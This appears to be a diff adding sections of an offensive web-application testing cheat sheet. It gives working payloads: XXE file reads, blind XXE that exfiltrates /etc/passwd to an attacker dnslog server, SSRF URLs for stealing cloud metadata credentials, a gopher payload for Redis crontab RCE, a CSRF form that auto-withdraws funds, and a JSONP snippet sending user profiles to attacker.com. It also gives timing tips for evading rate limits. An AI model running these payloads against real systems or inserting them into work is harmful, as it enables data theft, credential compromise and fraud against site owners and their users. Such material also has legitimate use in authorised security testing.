### 16.2 XXE — Direct Read
|
|
966
|
+
|
|
967
|
+
```xml
|
|
968
|
+
<?xml version="1.0"?>
|
|
969
|
+
<!DOCTYPE foo [
|
|
970
|
+
<!ENTITY x SYSTEM "file:///etc/passwd">
|
|
971
|
+
]>
|
|
972
|
+
<root><name>&x;</name></root>
|
|
973
|
+
```
|
|
974
|
+
|
|
975
|
+
Send as `Content-Type: application/xml` to any XML-consuming endpoint
|
|
976
|
+
(SOAP, OPDS, RSS, OOXML upload, SVG processor).
|
|
977
|
+
|
|
978
|
+
### 16.3 XXE — Blind, OOB Exfiltration
|
|
979
|
+
|
|
980
|
+
```xml
|
|
981
|
+
<?xml version="1.0"?>
|
|
982
|
+
<!DOCTYPE foo [
|
|
983
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
984
|
+
<!ENTITY % dtd SYSTEM "http://YOUR.dnslog.cn/x.dtd">
|
|
985
|
+
%dtd;
|
|
986
|
+
%send;
|
|
987
|
+
]>
|
|
988
|
+
<root></root>
|
|
989
|
+
```
|
|
990
|
+
|
|
991
|
+
Host on YOUR server `x.dtd`:
|
|
992
|
+
|
|
993
|
+
```xml
|
|
994
|
+
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://YOUR.dnslog.cn/?d=%file;'>">
|
|
995
|
+
%all;
|
|
996
|
+
```
|
|
997
|
+
|
|
998
|
+
Watch DNSLog: each request includes the file content as URL-encoded subdomain
|
|
999
|
+
or query parameter. (URL-encoding fails on long files; use parameter
|
|
1000
|
+
entity tricks documented at PortSwigger Web Security Academy for full read.)
|
|
1001
|
+
|
|
1002
|
+
### 16.4 SSRF — Cloud Metadata Sweep
|
|
1003
|
+
|
|
1004
|
+
```text
|
|
1005
|
+
http://169.254.169.254/latest/meta-data/ # AWS
|
|
1006
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
|
|
1007
|
+
http://metadata.google.internal/computeMetadata/v1/ + Header: Metadata-Flavor: Google
|
|
1008
|
+
http://100.100.100.200/latest/meta-data/ # Aliyun
|
|
1009
|
+
http://169.254.169.254/metadata/instance?api-version=2021-02-01 + Header: Metadata: true (Azure)
|
|
1010
|
+
```
|
|
1011
|
+
|
|
1012
|
+
If the SSRF gives back any of these → **immediate report**: cloud creds leak
|
|
1013
|
+
is the highest-impact SSRF class.
|
|
1014
|
+
|
|
1015
|
+
### 16.5 SSRF — Internal Asset Discovery
|
|
1016
|
+
|
|
1017
|
+
```text
|
|
1018
|
+
http://127.0.0.1:6379/ # Redis
|
|
1019
|
+
http://127.0.0.1:11211/stats # Memcached (try gopher)
|
|
1020
|
+
http://127.0.0.1:8500/v1/agent/self # Consul
|
|
1021
|
+
http://127.0.0.1:2379/v2/keys # etcd
|
|
1022
|
+
http://127.0.0.1:9200/_cat/indices?v # Elasticsearch
|
|
1023
|
+
http://127.0.0.1:5432/ # PostgreSQL (banner)
|
|
1024
|
+
http://10.0.0.0/8 ranges # Internal APIs
|
|
1025
|
+
```
|
|
1026
|
+
|
|
1027
|
+
`gopher://` payload to write to internal Redis (RCE via writing crontab):
|
|
1028
|
+
|
|
1029
|
+
```text
|
|
1030
|
+
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aping%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$ ...
|
|
1031
|
+
```
|
|
1032
|
+
|
|
1033
|
+
Generate with `gopherus` (https://github.com/tarunkant/Gopherus).
|
|
1034
|
+
|
|
1035
|
+
### 16.6 SSRF — DNS Rebinding Bypass
|
|
1036
|
+
|
|
1037
|
+
If the server resolves the URL once and then validates the resolved IP, but
|
|
1038
|
+
fetches it later separately, point your domain at a TTL=0 record that flips
|
|
1039
|
+
between `1.2.3.4` (passes validation) and `127.0.0.1` (the attack target).
|
|
1040
|
+
|
|
1041
|
+
Tools:
|
|
1042
|
+
- `python3 -m http.server` with `socat`-based DNS server
|
|
1043
|
+
- `https://lock.cmpxchg8b.com/rebinder.html` (online generator)
|
|
1044
|
+
- `whonow`: https://github.com/brannondorsey/whonow
|
|
1045
|
+
|
|
1046
|
+
### 16.7 CSRF — Auto-Submitting Form Template
|
|
1047
|
+
|
|
1048
|
+
```html
|
|
1049
|
+
<!DOCTYPE html>
|
|
1050
|
+
<html><body>
|
|
1051
|
+
<form id=f action="https://target/api/withdraw" method="POST"
|
|
1052
|
+
enctype="application/x-www-form-urlencoded">
|
|
1053
|
+
<input name="amount" value="999999">
|
|
1054
|
+
<input name="to_account" value="attacker_account">
|
|
1055
|
+
</form>
|
|
1056
|
+
<script>document.getElementById('f').submit();</script>
|
|
1057
|
+
</body></html>
|
|
1058
|
+
```
|
|
1059
|
+
|
|
1060
|
+
If the victim is logged-in to `target` and visits this page (`<iframe>` or via
|
|
1061
|
+
phishing), the request fires with their cookies. Defense: SameSite=Lax/Strict
|
|
1062
|
+
cookie + Anti-CSRF token + Origin/Referer check.
|
|
1063
|
+
|
|
1064
|
+
### 16.8 JSONP-as-Read-Primitive
|
|
1065
|
+
|
|
1066
|
+
```html
|
|
1067
|
+
<script src="https://target.com/api/user/profile?callback=stealUserProfile"></script>
|
|
1068
|
+
<script>
|
|
1069
|
+
function stealUserProfile(data) {
|
|
1070
|
+
navigator.sendBeacon("https://attacker.com/log", JSON.stringify(data));
|
|
1071
|
+
}
|
|
1072
|
+
</script>
|
|
1073
|
+
```
|
|
1074
|
+
|
|
1075
|
+
If the JSONP endpoint returns sensitive user data and accepts arbitrary
|
|
1076
|
+
callback names without origin validation, every user visiting attacker.com
|
|
1077
|
+
leaks their profile. Defense: do not return sensitive data via JSONP; if
|
|
1078
|
+
required, restrict callback function names to a whitelist and require
|
|
1079
|
+
Origin / Referer.
|
|
1080
|
+
|
|
1081
|
+
---
|
|
1082
|
+
|
|
1083
|
+
## 17. Reproduction Windows — When Each Class of Bug Is Reachable
|
|
1084
|
+
|
|
1085
|
+
| Bug class | Best window to test | Why |
|
|
1086
|
+
|-----------|---------------------|-----|
|
|
1087
|
+
| Race conditions on payment / coupon | 03:00–05:00 local time | Lower legitimate traffic, RDS/Redis less contended, race window widens |
|
|
1088
|
+
| Integer overflow on price × qty | After deploy (release notes available) | New SKUs / new flows often miss the upper-bound guard |
|
|
1089
|
+
| Verification-code rate limit | Any time, but bursts ≤ 30s | Most rate limiters use sliding windows of 60s; 30s bursts pass |
|
|
1090
|
+
| Brand-new IDOR | First 24h after a feature ships | Org-level RBAC seldom audits new endpoints in time |
|
|
1091
|
+
| File-upload race | Right after off-peak AV-scan window | Scanner loaded, not running, files sit longer |
|
|
1092
|
+
| SSRF on cloud assets | Any time | Metadata endpoints don't sleep |
|
|
1093
|
+
|
|
1094
|
+
When a target has change-control windows (banks, telcos), capture `Last-Modified`
|
|
1095
|
+
on JS bundles and re-test 48h after every push.
|